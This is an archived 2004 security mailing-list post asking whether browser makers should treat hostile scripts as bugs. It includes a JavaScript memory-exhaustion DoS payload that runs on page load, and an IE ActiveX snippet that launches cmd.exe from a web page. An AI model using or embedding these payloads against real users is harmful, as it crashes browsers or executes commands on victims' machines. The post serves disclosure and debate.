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Browser bugs [DoS] ... where will you draw a line?

From: Bipin Gautam <visitbipin () hotmail com>
Date: 9 Apr 2004 15:06:51 -0000



Browser bugs [DoS] ... where will you draw a line?

Shouldn't developers [of Browsers] draw a line... between a DoS bug and a "can be troublesome" feature in their 
web-browsern and put necessary measures in their code to protect form such nasty codes.  These days... Ive been seeing 
lot of stupid IE/Mozilla DoS exploits. They do get patched. Should we need another "Bloodhound" technology in brouser 
as well for such  but...... it's strange to see neither neither a antivirus softwares nor IE / MOZILLA are putting 
necessary efforts in their code to prevent such hostile scripts.....? 

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<body onload="hUNT()">
&lt;script language="JavaScript"><!--
var szhUNT="...cauz its a jungle out there!"
function hUNT()
{szhUNT=szhUNT + szhUNT
window.status="String Length is: "+szhUNT.length
window.setTimeout('hUNT()',1);}
// -->&lt;/script&gt;
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OR 

you could just have a scripts that kicks a infinite pop up windows!!! or at worst...... lets add a WSH script...

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I guess this bug has patch
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&lt;object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'>&lt;/object&gt;
&lt;script&gt;
wsh.Run("cmd.exe /k echo ...today is your lucky day!"); 
&lt;/script&gt; 
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... such browser features are far *MORE* troublesome than *any* browser DoS BUGS!!!

the solution shouldn't be to disable scripting...... etc!

so ??????

./hUNT3R
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Current thread:

Browser bugs [DoS] ... where will you draw a line? Bipin Gautam (Apr 09)
- <Possible follow-ups>
- RE: Browser bugs [DoS] ... where will you draw a line? Drew Copley (Apr 09)